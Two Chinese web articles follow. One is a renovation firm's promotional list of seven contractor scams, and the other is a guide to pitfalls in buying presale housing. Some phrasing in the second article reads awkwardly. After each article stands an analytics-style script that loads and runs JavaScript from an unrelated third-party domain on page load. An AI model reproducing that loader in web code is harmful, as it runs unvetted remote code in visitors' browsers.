大美装饰提醒您 新房装修有哪些陷阱

装修市场鱼目混杂，品牌多，有好百年装饰、大美装饰、鲁班装饰等；很多业主觉得装修前，一切好说;装修完，一言难尽!没住多久家里出现诸多质量问题，多数业主只能自认倒霉！那么如何才能避开装修陷阱呢?大美装饰建议业主在签订装修合同前自己做好预算，签订合同时要求列明报价以及对应的工艺，装修后仔细验收是否有缺漏。下面大美装饰带您来详细看一下有哪些陷阱吧！装修陷阱1：工艺说明模糊不清。装修公司报价时，由于业主们更关心的是总体的价格，并不会太重视报价单中辅料的品牌、价格、环保，尤其是材料中胶水、VOC含量等方面的规定。大美装饰建议业主们关注价格的同时也要关注环保哦！装修陷阱2：单项面积模糊不清，业主一般自己不会去测量具体面积，所以工头通常会在这个面积上造假，10平做成12平这样的事是经常发生的。大美装饰觉得有条件的话业主是可以自己测量一下的哦！装修陷阱3：在提供给客户的报价单上做小动作。当装修公司或工头给业主最后定样本时，就会在工艺说明或面积上造假。装修陷阱4：提供劣质的辅料。虽然在合同上和报价单上写得很清楚，但一些装修公司或工头会用来个以假乱真偷换材料，业主根本防不胜防。大美装饰提醒您：辅料进场最好还是自己检查一下封口是否完好。装修陷阱5：装修公司或工头随时提出“必须的”建议，要求增项。在装修前他们有些会故意把一些明显必须的项目忽略掉，等开工再要求增加项目增加费用。一般大美装饰都提前给业主设计图纸，根据图纸来报价。装修陷阱6：装修公司或工头总会劝说业主多做一些木工活，打柜，吊顶，做门之类的。大美装饰建议：柜子可以选择整体定制，售后更有保障。装修陷阱7：装修完毕后匆忙要求付尾款，尤其是油工项目，等墙面干燥后一般是3天，刷完墙漆的时候根本不知道墙面是否刷花。依大美装饰看，装修完毕后切勿着急付款，建议请专业的检验公司先行检验再付款也不迟呀！看完以上这些陷阱，是不是惊呼：天哪，这些都是坑啊！不用太紧张，这不，大美装饰已经给您详细列明了这些陷阱嘛，希望通过大美装饰的讲解，大家都能避开这些陷阱，装修出一套满意的房子！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

在购买商品房需注意哪些问题和必须防范的陷阱

随着我国经济的发展，城镇化水平不断提高，农村人口大量向城市转移，人们对住房的需求越来越高，购房热情不断升温。我国的商品房绝大多数是以预售的方式出售，而商品房预售的形式也是为了防止购房者受到牵制。购买商品房，应当注意预售商品房可能遇到的风险。下面是购买商品房需注意哪些陷阱以及如何预防的介绍。购买商品房需注意哪些陷阱之一：要选择具有开发资质，信誉良好的开发商。一般来说，商品房的开发必须具备相应的资质，但在实践中存在着许多非法开发商品房的问题。所以，首先你需要知道的是开发商是否具备开发商品房项目的相应资质。同时，买家也应该了解开发商的信誉。否则，面对缺乏诚信的开发商，预购人在买房后可能无法获得预定的住房，甚至无法收回住房款。购买商品房需注意哪些陷阱之二：购房前必须检查开发商的“五卡”是否齐全。所谓“五卡”，主要包括：（1）土地使用权证；（2）建设项目规划许可证；（3）建设用地规划许可证；（4）建设证明；（5）商品房预售许可证。这些证书是证明开发商和卖方资质的关键文件，也是商品房项目合法性的关键文件。同时，买家也必须注意上述文件是否与开发商所说的相同。购买商品房需注意哪些陷阱之三：不信任开发商进行售前宣传。由于商品房的销售广告和宣传资料是开发商向预购人发出的邀请，而不是报价，一般不能直接包含在合同中。但是，有关开发商对商品房开发计划范围内的房屋及相关设施的说明和承诺有明确规定，并对签订商品房买卖合同和确定房价有重大影响的，应当视为要约。购买商品房需注意哪些陷阱之四：买方在签订合同时应注意。买受人与开发公司达成协议后，由双方签订《商品房预售合同》，房屋管理部门统一印制，工商行政管理部门监督。合同对房屋价格、支付方式、交付期限、房屋面积、违约责任等有明确规定。购买商品房需注意哪些陷阱之五：关于税收条款。合同签订时，买受人应当与发包人约定交易管理费、产权登记费、计量费、公证费、律师费、抵押费、保险费等。购买商品房需注意哪些陷阱之六：注意客房延误条款。延迟交付是商品房预售交易中较为常见的违约行为，因此一些开发商会在合同中设置延迟免除条款，以规避负债。以上是购房时需要注意的事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();